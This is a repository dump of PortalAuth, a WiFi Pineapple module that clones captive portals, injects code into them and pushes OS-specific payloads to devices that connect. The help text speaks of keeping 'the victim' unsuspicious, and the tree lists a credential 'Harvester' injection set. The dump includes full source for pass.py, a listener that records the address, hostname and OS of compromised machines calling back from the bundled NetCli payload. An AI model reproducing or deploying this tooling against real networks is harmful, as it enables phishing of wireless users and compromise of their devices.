├── .vscode └── sftp.json ├── README.md ├── api └── module.php ├── includes ├── changelog │ ├── Version 1.0 │ ├── Version 1.1 │ ├── Version 1.2 │ ├── Version 1.3 │ ├── Version 1.4 │ ├── Version 1.5 │ ├── Version 1.6 │ ├── Version 1.7 │ ├── Version 1.8 │ ├── Version 1.9 │ ├── Version 2.0 │ └── Version 2.1 ├── config ├── help │ ├── cloner.help │ ├── injectcss.help │ ├── injecthtml.help │ ├── injectjs.help │ ├── injectphp.help │ ├── myportal.help │ ├── pass.help │ ├── payloads.help │ ├── settings.help │ └── status.help ├── icons │ ├── glyphicons-151-edit.png │ ├── glyphicons-17-bin.png │ ├── glyphicons-182-download-alt.png │ ├── glyphicons-195-question-sign.png │ ├── glyphicons-198-remove-circle.png │ ├── glyphicons-201-download.png │ ├── glyphicons-202-upload.png │ └── glyphicons-433-plus.png ├── pass │ ├── Backups │ │ └── pass.py │ ├── NetCli_CS.zip │ ├── NetCli_OSX.zip │ ├── NetCli_Win.zip │ ├── pass.log │ ├── pass.py │ └── targets.log └── scripts │ ├── PortalCloner.py │ ├── PortalCloner.pyc │ ├── cfgUploadLimit.py │ ├── cfgUploadLimit.pyc │ ├── depends.sh │ ├── injects │ ├── Blank │ │ ├── MyPortal.php │ │ ├── backups │ │ │ ├── MyPortal.php │ │ │ ├── helper.php │ │ │ ├── injectCSS.txt │ │ │ ├── injectHTML.txt │ │ │ ├── injectJS.txt │ │ │ └── injectPHP.txt │ │ ├── helper.php │ │ ├── injectCSS.txt │ │ ├── injectHTML.txt │ │ ├── injectJS.txt │ │ └── injectPHP.txt │ ├── Free_WiFi_Week │ │ ├── MyPortal.php │ │ ├── backups │ │ │ ├── MyPortal.php │ │ │ ├── helper.php │ │ │ ├── injectCSS.txt │ │ │ ├── injectHTML.txt │ │ │ ├── injectJS.txt │ │ │ └── injectPHP.txt │ │ ├── helper.php │ │ ├── injectCSS.txt │ │ ├── injectHTML.txt │ │ ├── injectJS.txt │ │ └── injectPHP.txt │ ├── Harvester │ │ ├── MyPortal.php │ │ ├── backups │ │ │ ├── MyPortal.php │ │ │ ├── helper.php │ │ │ ├── injectCSS.txt │ │ │ ├── injectHTML.txt │ │ │ └── injectJS.txt │ │ ├── helper.php │ │ ├── injectCSS.txt │ │ ├── injectHTML.txt │ │ ├── injectJS.txt │ │ └── injectPHP.txt │ └── Payloader │ │ ├── MyPortal.php │ │ ├── backups │ │ ├── MyPortal.php │ │ ├── helper.php │ │ ├── injectCSS.txt │ │ ├── injectHTML.txt │ │ ├── injectJS.txt │ │ └── injectPHP.txt │ │ ├── helper.php │ │ ├── injectCSS.txt │ │ ├── injectHTML.txt │ │ ├── injectJS.txt │ │ └── injectPHP.txt │ ├── jquery-2.2.1.min.js │ ├── jquery-3.4.1.min.js │ ├── libs │ ├── beautifulsoup4.egg-info │ │ ├── PKG-INFO │ │ ├── SOURCES.txt │ │ ├── dependency_links.txt │ │ ├── requires.txt │ │ └── top_level.txt │ ├── bs4 │ │ ├── __init__.py │ │ ├── builder │ │ │ ├── __init__.py │ │ │ ├── _html5lib.py │ │ │ ├── _htmlparser.py │ │ │ └── _lxml.py │ │ ├── dammit.py │ │ ├── diagnose.py │ │ ├── element.py │ │ ├── testing.py │ │ └── tests │ │ │ ├── __init__.py │ │ │ ├── test_builder_registry.py │ │ │ ├── test_docs.py │ │ │ ├── test_html5lib.py │ │ │ ├── test_htmlparser.py │ │ │ ├── test_lxml.py │ │ │ ├── test_soup.py │ │ │ └── test_tree.py │ ├── email │ │ ├── __init__.py │ │ ├── __init__.pyc │ │ ├── _parseaddr.py │ │ ├── _parseaddr.pyc │ │ ├── base64mime.py │ │ ├── base64mime.pyc │ │ ├── charset.py │ │ ├── charset.pyc │ │ ├── encoders.py │ │ ├── encoders.pyc │ │ ├── errors.py │ │ ├── errors.pyc │ │ ├── feedparser.py │ │ ├── feedparser.pyc │ │ ├── generator.py │ │ ├── header.py │ │ ├── iterators.py │ │ ├── iterators.pyc │ │ ├── message.py │ │ ├── message.pyc │ │ ├── mime │ │ │ ├── __init__.py │ │ │ ├── __init__.pyc │ │ │ ├── application.py │ │ │ ├── audio.py │ │ │ ├── base.py │ │ │ ├── image.py │ │ │ ├── message.py │ │ │ ├── multipart.py │ │ │ ├── nonmultipart.py │ │ │ └── text.py │ │ ├── parser.py │ │ ├── parser.pyc │ │ ├── quoprimime.py │ │ ├── quoprimime.pyc │ │ ├── utils.py │ │ └── utils.pyc │ ├── logging │ │ ├── __init__.py │ │ ├── config.py │ │ └── handlers.py │ ├── requests │ │ ├── __init__.py │ │ ├── __init__.pyc │ │ ├── adapters.py │ │ ├── adapters.pyc │ │ ├── api.py │ │ ├── api.pyc │ │ ├── auth.py │ │ ├── auth.pyc │ │ ├── cacert.pem │ │ ├── certs.py │ │ ├── certs.pyc │ │ ├── compat.py │ │ ├── compat.pyc │ │ ├── cookies.py │ │ ├── cookies.pyc │ │ ├── exceptions.py │ │ ├── exceptions.pyc │ │ ├── hooks.py │ │ ├── hooks.pyc │ │ ├── models.py │ │ ├── models.pyc │ │ ├── packages │ │ │ ├── README.rst │ │ │ ├── __init__.py │ │ │ ├── __init__.pyc │ │ │ ├── chardet │ │ │ │ ├── __init__.py │ │ │ │ ├── __init__.pyc │ │ │ │ ├── big5freq.py │ │ │ │ ├── big5prober.py │ │ │ │ ├── chardetect.py │ │ │ │ ├── chardistribution.py │ │ │ │ ├── charsetgroupprober.py │ │ │ │ ├── charsetprober.py │ │ │ │ ├── codingstatemachine.py │ │ │ │ ├── compat.py │ │ │ │ ├── constants.py │ │ │ │ ├── cp949prober.py │ │ │ │ ├── escprober.py │ │ │ │ ├── escsm.py │ │ │ │ ├── eucjpprober.py │ │ │ │ ├── euckrfreq.py │ │ │ │ ├── euckrprober.py │ │ │ │ ├── euctwfreq.py │ │ │ │ ├── euctwprober.py │ │ │ │ ├── gb2312freq.py │ │ │ │ ├── gb2312prober.py │ │ │ │ ├── hebrewprober.py │ │ │ │ ├── jisfreq.py │ │ │ │ ├── jpcntx.py │ │ │ │ ├── langbulgarianmodel.py │ │ │ │ ├── langcyrillicmodel.py │ │ │ │ ├── langgreekmodel.py │ │ │ │ ├── langhebrewmodel.py │ │ │ │ ├── langhungarianmodel.py │ │ │ │ ├── langthaimodel.py │ │ │ │ ├── latin1prober.py │ │ │ │ ├── mbcharsetprober.py │ │ │ │ ├── mbcsgroupprober.py │ │ │ │ ├── mbcssm.py │ │ │ │ ├── sbcharsetprober.py │ │ │ │ ├── sbcsgroupprober.py │ │ │ │ ├── sjisprober.py │ │ │ │ ├── universaldetector.py │ │ │ │ └── utf8prober.py │ │ │ └── urllib3 │ │ │ │ ├── __init__.py │ │ │ │ ├── __init__.pyc │ │ │ │ ├── _collections.py │ │ │ │ ├── _collections.pyc │ │ │ │ ├── connection.py │ │ │ │ ├── connection.pyc │ │ │ │ ├── connectionpool.py │ │ │ │ ├── connectionpool.pyc │ │ │ │ ├── contrib │ │ │ │ ├── __init__.py │ │ │ │ ├── __init__.pyc │ │ │ │ ├── ntlmpool.py │ │ │ │ ├── pyopenssl.py │ │ │ │ └── pyopenssl.pyc │ │ │ │ ├── exceptions.py │ │ │ │ ├── exceptions.pyc │ │ │ │ ├── fields.py │ │ │ │ ├── fields.pyc │ │ │ │ ├── filepost.py │ │ │ │ ├── filepost.pyc │ │ │ │ ├── packages │ │ │ │ ├── __init__.py │ │ │ │ ├── __init__.pyc │ │ │ │ ├── ordered_dict.py │ │ │ │ ├── ordered_dict.pyc │ │ │ │ ├── six.py │ │ │ │ ├── six.pyc │ │ │ │ └── ssl_match_hostname │ │ │ │ │ ├── __init__.py │ │ │ │ │ ├── __init__.pyc │ │ │ │ │ ├── _implementation.py │ │ │ │ │ └── _implementation.pyc │ │ │ │ ├── poolmanager.py │ │ │ │ ├── poolmanager.pyc │ │ │ │ ├── request.py │ │ │ │ ├── request.pyc │ │ │ │ ├── response.py │ │ │ │ ├── response.pyc │ │ │ │ └── util │ │ │ │ ├── __init__.py │ │ │ │ ├── __init__.pyc │ │ │ │ ├── connection.py │ │ │ │ ├── connection.pyc │ │ │ │ ├── request.py │ │ │ │ ├── request.pyc │ │ │ │ ├── response.py │ │ │ │ ├── response.pyc │ │ │ │ ├── retry.py │ │ │ │ ├── retry.pyc │ │ │ │ ├── ssl_.py │ │ │ │ ├── ssl_.pyc │ │ │ │ ├── timeout.py │ │ │ │ ├── timeout.pyc │ │ │ │ ├── url.py │ │ │ │ └── url.pyc │ │ ├── sessions.py │ │ ├── sessions.pyc │ │ ├── status_codes.py │ │ ├── status_codes.pyc │ │ ├── structures.py │ │ ├── structures.pyc │ │ ├── utils.py │ │ └── utils.pyc │ ├── tinycss.egg-info │ │ ├── PKG-INFO │ │ ├── SOURCES.txt │ │ ├── dependency_links.txt │ │ ├── requires.txt │ │ └── top_level.txt │ └── tinycss │ │ ├── __init__.py │ │ ├── color3.py │ │ ├── css21.py │ │ ├── decoding.py │ │ ├── fonts3.py │ │ ├── page3.py │ │ ├── parsing.py │ │ ├── speedups.pyx │ │ ├── tests │ │ ├── __init__.py │ │ ├── speed.py │ │ ├── test_api.py │ │ ├── test_color3.py │ │ ├── test_css21.py │ │ ├── test_decoding.py │ │ ├── test_fonts3.py │ │ ├── test_page3.py │ │ └── test_tokenizer.py │ │ ├── token_data.py │ │ ├── tokenizer.py │ │ └── version.py │ ├── packInjectionSet.sh │ ├── portalclone.py │ ├── portalclone.pyc │ ├── skeleton │ ├── MyPortal.php │ ├── helper.php │ ├── injectCSS.txt │ ├── injectHTML.txt │ ├── injectJS.txt │ └── injectPHP.txt │ └── unpackInjectionSet.sh ├── js └── module.js ├── module.html └── module.info /.vscode/sftp.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "Pineapple", 3 | "host": "192.168.0.138", 4 | "protocol": "sftp", 5 | "port": 22, 6 | "username": "root", 7 | "remotePath": "/pineapple/modules/PortalAuth/", 8 | "uploadOnSave": true 9 | } -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # PortalAuth 2 | > :warning: **This project is no longer being maintained** 3 | 4 | Captive portal cloner and payload distributor for the WiFi Pineapple NANO and TETRA -------------------------------------------------------------------------------- /includes/changelog/Version 1.0: -------------------------------------------------------------------------------- 1 | Module created. 2 | -------------------------------------------------------------------------------- /includes/changelog/Version 1.1: -------------------------------------------------------------------------------- 1 | July 16, 2016 2 |

3 | - Added C# Payload API to force authorization in C# applications with the Payloader injection set and PASS. -------------------------------------------------------------------------------- /includes/changelog/Version 1.2: -------------------------------------------------------------------------------- 1 | September 11, 2016 2 |

3 | - Renamed NetCli tab to Payloads and added a payload manager
4 | - Added functionality to import injection sets
5 | - Updated UI
6 | - Added backend method to clear downloads directory when PortalAuth is launched
7 | - Changed Payloader injection set to easily point to payload files (see InjectPHP)
8 | -------------------------------------------------------------------------------- /includes/changelog/Version 1.3: -------------------------------------------------------------------------------- 1 | September 15, 2016 2 |

3 | - Fixed bug that caused the Test Site field to not load the GET request portion of a URL
4 | - Removed old, unused, code for auto authentication and MAC collection
5 | -------------------------------------------------------------------------------- /includes/changelog/Version 1.4: -------------------------------------------------------------------------------- 1 | June 10, 2017 2 |

3 | - The default captive portal test page can now be reached over HTTPS
4 | - Added dependency for curl to support access to Test Site over HTTPS
5 | - Portal cloning is now multithreaded which makes it slightly faster
6 | - Added ability to select payloads for target OSes in the cloner options window
7 | -------------------------------------------------------------------------------- /includes/changelog/Version 1.5: -------------------------------------------------------------------------------- 1 | January 5, 2018 2 |

3 | - The module now creates expected directories automatically
4 | - Fixed a bug that was introduced with latest version of AngularJS
5 | -------------------------------------------------------------------------------- /includes/changelog/Version 1.6: -------------------------------------------------------------------------------- 1 | January 12, 2018 2 |

3 | - Added changelog for version 1.5
4 | - Added support for .bat files in the payload section
5 | - Added a response when unsupported file types are uploaded
6 | -------------------------------------------------------------------------------- /includes/changelog/Version 1.7: -------------------------------------------------------------------------------- 1 | July 15, 2018 2 |

3 | - Added check for keys directory at startup
4 | - Updated TinyCSS lib to v0.4
5 | - Updated format of cloned portals to function with the latest Evil Portal
6 | - Added Basic and Targeted portal types for cloned portals
-------------------------------------------------------------------------------- /includes/changelog/Version 1.8: -------------------------------------------------------------------------------- 1 | July 26, 2018 2 |

3 | - Fixed tinycss lib reference
4 | -------------------------------------------------------------------------------- /includes/changelog/Version 1.9: -------------------------------------------------------------------------------- 1 | Dec 25, 2018 2 |

3 | - Moved captive portal test page to AWS S3
4 | - Added exception handling to CSS parser
5 | - Fixed typo in PortalCloner.py 6 | -------------------------------------------------------------------------------- /includes/changelog/Version 2.0: -------------------------------------------------------------------------------- 1 | Dec 26, 2019 2 |

3 | - Fixed libcurl4 dependency issue
4 | - Fixed tinycss issue (again?)
5 | - Updated jQuery to 3.4.1 for injection sets
6 | -------------------------------------------------------------------------------- /includes/changelog/Version 2.1: -------------------------------------------------------------------------------- 1 | July 18, 2020 2 |

3 | - Added python-codecs dependency
4 | - Final update - No longer maintained from this point forward.
-------------------------------------------------------------------------------- /includes/config: -------------------------------------------------------------------------------- 1 | testSite= 2 | dataExpected= 3 | p_archive= 4 | -------------------------------------------------------------------------------- /includes/help/cloner.help: -------------------------------------------------------------------------------- 1 | Portal Name
2 | This will be the name of the cloned portal in your portal archive directory. It must not contain any spaces! 3 |

4 | 5 | Injection Set
6 | The set of code you want to inject into the cloned portal. 7 |

8 | 9 | Payloads
10 | This option is only visible when the Payloader injection set is selected.
11 | Select a payload to deliver to each type of system that connects to the captive portal. If you don't select a payload then the target will 12 | download the Default Payload. For example, if you don't select a payload for OS X and your Default Payload is set to Windows, then when a 13 | Mac connects to your captive portal it will download the payload you assigned to Windows. If only one OS is assigned a payload it automatically 14 | becomes the Default Payload. 15 |

16 | 17 | Strips and Injects
18 | Select these checkboxes to modify the cloned portal.

19 | 20 | Strip Links: Strips out links from the portal so the target can't click away from the page.
21 | Strip Inline JS: Strips out any JavaScript embedded in the portal.
22 | Strip Inline CSS: Strips out any CSS styles embedded in the portal.
23 | Strip Forms: Strips out all form data from the portal.

24 | 25 | Inject JS: Injects the JavaScript from the selected Injection Set into the portal.
26 | Inject CSS: Injects the CSS from the selected Injection Set into the portal.
27 | Inject HTML: Injects the HTML from the selected Injection Set into the portal.
28 | Targeted Portal: Makes the cloned portal a targeted portal in the Evil Portal module.
-------------------------------------------------------------------------------- /includes/help/injectcss.help: -------------------------------------------------------------------------------- 1 |

2 | This is the style code that will be applied to the HTML elements. It is important to have a nice looking login form otherwise the victim may get suspicious. 3 |

4 | -------------------------------------------------------------------------------- /includes/help/injecthtml.help: -------------------------------------------------------------------------------- 1 |

2 | This is the HTML code that will be injected into the cloned portal. This is good for adding additional elements to the page but should be limited to modals and other things that rely on InjectJS. The reason for this is that the HTML code will be injected near the end of the cloned portal which would put your elements at the bottom of the page. 3 |

4 | -------------------------------------------------------------------------------- /includes/help/injectjs.help: -------------------------------------------------------------------------------- 1 |

2 | This is the JavaScript code that will be injected into the cloned portal. 3 |

4 | -------------------------------------------------------------------------------- /includes/help/injectphp.help: -------------------------------------------------------------------------------- 1 | This is the PHP code that will be injected at the beginning of the cloned portal. 2 | -------------------------------------------------------------------------------- /includes/help/myportal.help: -------------------------------------------------------------------------------- 1 |

2 | This is the portal script that implements the Evil Portal API. 3 |

4 | -------------------------------------------------------------------------------- /includes/help/pass.help: -------------------------------------------------------------------------------- 1 | Portal Auth Shell Server v1.0
2 |

3 | This python script is used to listen for connections from the Network Client payload. When a connection is initiated the IP address, port, hostname, and OS type of the compromised system are logged in the file associated with the targetlog variable. The activitylog variable holds the file location where various messages are stored about the server's activity. 4 |

5 | The lhost and lport variables hold the IP address and port number on which the server will listen. lhost should always be the Pineapple's address while lport can be any available port on the system. If the lport changes on the server make sure you change the rport variable in the Network Client as well. After modifying the script, simply click save and the server will be ready to start. 6 | -------------------------------------------------------------------------------- /includes/help/payloads.help: -------------------------------------------------------------------------------- 1 | Payload Templates
2 | Clicking each of these buttons will download starter files for building a payload that interacts with the Payloader injection set. 3 |

4 | 5 | Manage Payloads
6 | This section allows you to upload and delete payloads. By default there is an upload limit in nginx that may cause your uploads to fail 7 | if they are over a certain size. Click the 'Configure Upload Limit' link to configure nginx to allow uploads up to 20M. When payloads are 8 | uploaded they are automatically stored in the proper location based on their filetype. 9 |

10 |

17 |
18 | * Keep in mind that .tar.gz files are seen as injection sets and stored as such. 19 | -------------------------------------------------------------------------------- /includes/help/settings.help: -------------------------------------------------------------------------------- 1 |

If you click the Use Default button Portal Auth will use sud0nick's personal server to check for captive portals.


2 | 3 | Test Site
4 | Enter a URL to an internet web site. This is the site that Portal Auth will attempt to reach to determine if a captive portal is blocking your connection. This field can also be used to clone a site at the specified URL. 5 |

6 | 7 | Expected Data
8 | This is the data you expect Portal Auth to receive when accessing Test Website. It is recommended that you leave these settings at their default as they have been tested. If you change them make sure you know exactly what data is coming from the Test Website otherwise you will receive a false positive. 9 |

10 | 11 | Portal Archive
12 | This is the location where you store your portals. If you want to be able to see your portal in Evil Portal II then you must use either /sd/portals/ or /root/portals/
*ALWAYS* end this directory with a forward slash (/). If you don't, the cloner will not be able to find the archive. 13 | -------------------------------------------------------------------------------- /includes/help/status.help: -------------------------------------------------------------------------------- 1 | Clone Portal
2 | Only visible when a captive portal is detected. Clicking this will bring up the options menu for cloning the captive portal. 3 |

4 | Dependencies
5 | The only dependency required is curl. 6 |
7 | -------------------------------------------------------------------------------- /includes/icons/glyphicons-151-edit.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sud0nick/PortalAuth/dedc272b3b0ff5dbb842bdd4eaa649e75c810198/includes/icons/glyphicons-151-edit.png -------------------------------------------------------------------------------- /includes/icons/glyphicons-17-bin.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sud0nick/PortalAuth/dedc272b3b0ff5dbb842bdd4eaa649e75c810198/includes/icons/glyphicons-17-bin.png -------------------------------------------------------------------------------- /includes/icons/glyphicons-182-download-alt.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sud0nick/PortalAuth/dedc272b3b0ff5dbb842bdd4eaa649e75c810198/includes/icons/glyphicons-182-download-alt.png -------------------------------------------------------------------------------- /includes/icons/glyphicons-195-question-sign.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sud0nick/PortalAuth/dedc272b3b0ff5dbb842bdd4eaa649e75c810198/includes/icons/glyphicons-195-question-sign.png -------------------------------------------------------------------------------- /includes/icons/glyphicons-198-remove-circle.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sud0nick/PortalAuth/dedc272b3b0ff5dbb842bdd4eaa649e75c810198/includes/icons/glyphicons-198-remove-circle.png -------------------------------------------------------------------------------- /includes/icons/glyphicons-201-download.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sud0nick/PortalAuth/dedc272b3b0ff5dbb842bdd4eaa649e75c810198/includes/icons/glyphicons-201-download.png -------------------------------------------------------------------------------- /includes/icons/glyphicons-202-upload.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sud0nick/PortalAuth/dedc272b3b0ff5dbb842bdd4eaa649e75c810198/includes/icons/glyphicons-202-upload.png -------------------------------------------------------------------------------- /includes/icons/glyphicons-433-plus.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sud0nick/PortalAuth/dedc272b3b0ff5dbb842bdd4eaa649e75c810198/includes/icons/glyphicons-433-plus.png -------------------------------------------------------------------------------- /includes/pass/Backups/pass.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import os 3 | import sys 4 | import time 5 | from random import randint 6 | 7 | lhost = "172.16.42.1" 8 | lport = 4443 9 | targets = [] 10 | activitylog = "/pineapple/modules/PortalAuth/includes/pass/pass.log" 11 | targetlog = "/pineapple/modules/PortalAuth/includes/pass/targets.log" 12 | keyDir = "/pineapple/modules/PortalAuth/includes/pass/keys/" 13 | 14 | class Target: 15 | def __init__(self,addr = None,port = None,name = None,osType = None): 16 | self.addr = addr 17 | self.port = port 18 | self.hostname = name 19 | self.platform = osType 20 | 21 | def targetInfo(self): 22 | info = "Address: " + self.addr + "\r\n" 23 | info += "Port: " + str(self.port) + "\r\n" 24 | info += "Hostname: " + self.hostname + "\r\n" 25 | info += "OS: " + self.platform + "\r\n\r\n" 26 | return info 27 | 28 | def now(): 29 | return time.strftime("%m/%d/%Y %H:%M:%S") 30 | 31 | # Import the target information from the target log 32 | with open (targetlog, 'r') as f: 33 | for line in f.readlines(): 34 | parts = line.split(":") 35 | if parts[0] == "Address": 36 | t = Target() 37 | t.addr = parts[1].strip() 38 | elif parts[0] == "Port": 39 | t.port = int(parts[1].strip()) 40 | elif parts[0] == "Hostname": 41 | t.hostname = parts[1].strip() 42 | elif parts[0] == "OS": 43 | t.platform = parts[1].strip() 44 | targets.append(t) 45 | else: 46 | pass 47 | 48 | server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 49 | server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 50 | server.bind((lhost,lport)) 51 | server.listen(5) 52 | 53 | with open(activitylog, "a") as f: 54 | f.write("[!] " + now() + " - Server listening on " + lhost + " port " + str(lport) + "\r\n") 55 | 56 | curTarget = accesskey = None 57 | connected = False 58 | while 1: 59 | if not connected: 60 | (client, address) = server.accept() 61 | connected = True 62 | while 1: 63 | try: 64 | recv_buffer = client.recv(4096) 65 | data = recv_buffer.split(";") 66 | 67 | # If the target already exists update the listening port 68 | if any(tgt.addr == address[0] for tgt in targets) is True: 69 | for _tgt in targets: 70 | if _tgt.addr == address[0]: 71 | _tgt.port = int(data[0]) 72 | _tgt.hostname = data[1] 73 | _tgt.platform = data[2] 74 | curTarget = _tgt.addr.replace('.', '_') 75 | with open(activitylog, "a") as f: 76 | f.write("[!] " + now() + " - Target port updated for " + _tgt.addr + " to " + str(_tgt.port) + "\r\n") 77 | else: 78 | # Add a new target to the list 79 | t = Target(address[0], int(data[0]), data[1], data[2]) 80 | targets.append(t) 81 | curTarget = t.addr.replace('.', '_') 82 | with open(activitylog, "a") as f: 83 | f.write("[+] " + now() + " - New target acquired at " + t.addr + " on port " + str(t.port) + "\r\n") 84 | 85 | # Write out all targets to the target log 86 | with open(targetlog, "w") as f: 87 | for t in targets: 88 | f.write(t.targetInfo()) 89 | 90 | # Generate a random access key, store it in a file for later access by auth.php, and 91 | # send the key back to the client 92 | with open(keyDir + curTarget + ".txt", "w") as f: 93 | accesskey = '%05i' % randint(0,99999) 94 | f.write(accesskey) 95 | client.send(accesskey) 96 | 97 | if not len(recv_buffer): 98 | connected = False 99 | break 100 | except: 101 | connected = False 102 | break 103 | server.close() -------------------------------------------------------------------------------- /includes/pass/NetCli_CS.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sud0nick/PortalAuth/dedc272b3b0ff5dbb842bdd4eaa649e75c810198/includes/pass/NetCli_CS.zip -------------------------------------------------------------------------------- /includes/pass/NetCli_OSX.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sud0nick/PortalAuth/dedc272b3b0ff5dbb842bdd4eaa649e75c810198/includes/pass/NetCli_OSX.zip -------------------------------------------------------------------------------- /includes/pass/NetCli_Win.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sud0nick/PortalAuth/dedc272b3b0ff5dbb842bdd4eaa649e75c810198/includes/pass/NetCli_Win.zip -------------------------------------------------------------------------------- /includes/pass/pass.log: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sud0nick/PortalAuth/dedc272b3b0ff5dbb842bdd4eaa649e75c810198/includes/pass/pass.log -------------------------------------------------------------------------------- /includes/pass/pass.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import os 3 | import sys 4 | import time 5 | from random import randint 6 | 7 | lhost = "172.16.42.1" 8 | lport = 4443 9 | targets = [] 10 | activitylog = "/pineapple/modules/PortalAuth/includes/pass/pass.log" 11 | targetlog = "/pineapple/modules/PortalAuth/includes/pass/targets.log" 12 | keyDir = "/pineapple/modules/PortalAuth/includes/pass/keys/" 13 | 14 | class Target: 15 | def __init__(self,addr = None,port = None,name = None,osType = None): 16 | self.addr = addr 17 | self.port = port 18 | self.hostname = name 19 | self.platform = osType 20 | 21 | def targetInfo(self): 22 | info = "Address: " + self.addr + "\r\n" 23 | info += "Port: " + str(self.port) + "\r\n" 24 | info += "Hostname: " + self.hostname + "\r\n" 25 | info += "OS: " + self.platform + "\r\n\r\n" 26 | return info 27 | 28 | def now(): 29 | return time.strftime("%m/%d/%Y %H:%M:%S") 30 | 31 | # Import the target information from the target log 32 | with open (targetlog, 'r') as f: 33 | for line in f.readlines(): 34 | parts = line.split(":") 35 | if parts[0] == "Address": 36 | t = Target() 37 | t.addr = parts[1].strip() 38 | elif parts[0] == "Port": 39 | t.port = int(parts[1].strip()) 40 | elif parts[0] == "Hostname": 41 | t.hostname = parts[1].strip() 42 | elif parts[0] == "OS": 43 | t.platform = parts[1].strip() 44 | targets.append(t) 45 | else: 46 | pass 47 | 48 | server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 49 | server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 50 | server.bind((lhost,lport)) 51 | server.listen(5) 52 | 53 | with open(activitylog, "a") as f: 54 | f.write("[!] " + now() + " - Server listening on " + lhost + " port " + str(lport) + "\r\n") 55 | 56 | curTarget = accesskey = None 57 | connected = False 58 | while 1: 59 | if not connected: 60 | (client, address) = server.accept() 61 | connected = True 62 | while 1: 63 | try: 64 | recv_buffer = client.recv(4096) 65 | data = recv_buffer.split(";") 66 | 67 | # If the target already exists update the listening port 68 | if any(tgt.addr == address[0] for tgt in targets) is True: 69 | for _tgt in targets: 70 | if _tgt.addr == address[0]: 71 | _tgt.port = int(data[0]) 72 | _tgt.hostname = data[1] 73 | _tgt.platform = data[2] 74 | curTarget = _tgt.addr.replace('.', '_') 75 | with open(activitylog, "a") as f: 76 | f.write("[!] " + now() + " - Target port updated for " + _tgt.addr + " to " + str(_tgt.port) + "\r\n") 77 | else: 78 | # Add a new target to the list 79 | t = Target(address[0], int(data[0]), data[1], data[2]) 80 | targets.append(t) 81 | curTarget = t.addr.replace('.', '_') 82 | with open(activitylog, "a") as f: 83 | f.write("[+] " + now() + " - New target acquired at " + t.addr + " on port " + str(t.port) + "\r\n") 84 | 85 | # Write out all targets to the target log 86 | with open(targetlog, "w") as f: 87 | for t in targets: 88 | f.write(t.targetInfo()) 89 | 90 | # Generate a random access key, store it in a file for later access by auth.php, and 91 | # send the key back to the client 92 | with open(keyDir + curTarget + ".txt", "w") as f: 93 | accesskey = '%05i' % randint(0,99999) 94 | f.write(accesskey) 95 | client.send(accesskey) 96 | 97 | if not len(recv_buffer): 98 | connected = False 99 | break 100 | except: 101 | connected = False 102 | break 103 | server.close() -------------------------------------------------------------------------------- /includes/pass/targets.log: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sud0nick/PortalAuth/dedc272b3b0ff5dbb842bdd4eaa649e75c810198/includes/pass/targets.log -------------------------------------------------------------------------------- /includes/scripts/PortalCloner.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sud0nick/PortalAuth/dedc272b3b0ff5dbb842bdd4eaa649e75c810198/includes/scripts/PortalCloner.pyc -------------------------------------------------------------------------------- /includes/scripts/cfgUploadLimit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | from subprocess import call 4 | 5 | php = "/etc/php.ini" 6 | nginx = "/etc/nginx/nginx.conf" 7 | 8 | lines = [f for f in open(php)] 9 | with open(php, "w") as out: 10 | for line in lines: 11 | if "upload_max_filesize" in line: 12 | parts = line.split("=") 13 | parts[1] = " 20M\n" 14 | line = "=".join(parts) 15 | if "post_max_size" in line: 16 | parts = line.split("=") 17 | parts[1] = " 26M\n" 18 | line = "=".join(parts) 19 | out.write(line) 20 | call(["/etc/init.d/php5-fpm", "reload"]) 21 | 22 | httpBlock = False 23 | needsCfg = True 24 | index = innerIndex = 0 25 | lines = [f for f in open(nginx)] 26 | for line in lines: 27 | if "client_max_body_size" in line: 28 | needsCfg = False 29 | break 30 | if needsCfg is True: 31 | with open(nginx, "w") as out: 32 | for line in lines: 33 | if "http {" in line: 34 | httpBlock = True 35 | if httpBlock is True: 36 | if innerIndex == 4: 37 | lines.insert(index + 1, "\tclient_max_body_size 20M;\n") 38 | innerIndex = innerIndex + 1 39 | index = index + 1 40 | out.write(line) 41 | call(["/etc/init.d/nginx", "reload"]) 42 | -------------------------------------------------------------------------------- /includes/scripts/cfgUploadLimit.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sud0nick/PortalAuth/dedc272b3b0ff5dbb842bdd4eaa649e75c810198/includes/scripts/cfgUploadLimit.pyc -------------------------------------------------------------------------------- /includes/scripts/depends.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | # Author: sud0nick 4 | # Date: Dec 2016 5 | 6 | if [ $# -eq 0 ]; then 7 | exit; 8 | fi 9 | 10 | if [[ "$1" == "-check" ]]; then 11 | testCurl=$(opkg list-installed | grep -w 'curl') 12 | testLibCurl=$(opkg list-installed | grep -w 'libcurl4') 13 | testCodecs=$(opkg list-installed | grep -w 'python-codecs') 14 | if [ -z "$testCurl" ] || [ "$textLibCurl" ] || [ -z "$testCodecs" ]; then 15 | echo "Not Installed"; 16 | else 17 | echo "Installed"; 18 | fi 19 | fi 20 | 21 | if [[ "$1" == "-install" ]]; then 22 | opkg update > /dev/null; 23 | opkg install curl libcurl4 python-codecs > /dev/null; 24 | echo "Complete" 25 | fi 26 | 27 | if [[ "$1" == "-remove" ]]; then 28 | opkg remove curl > /dev/null 29 | echo "Complete" 30 | fi 31 | 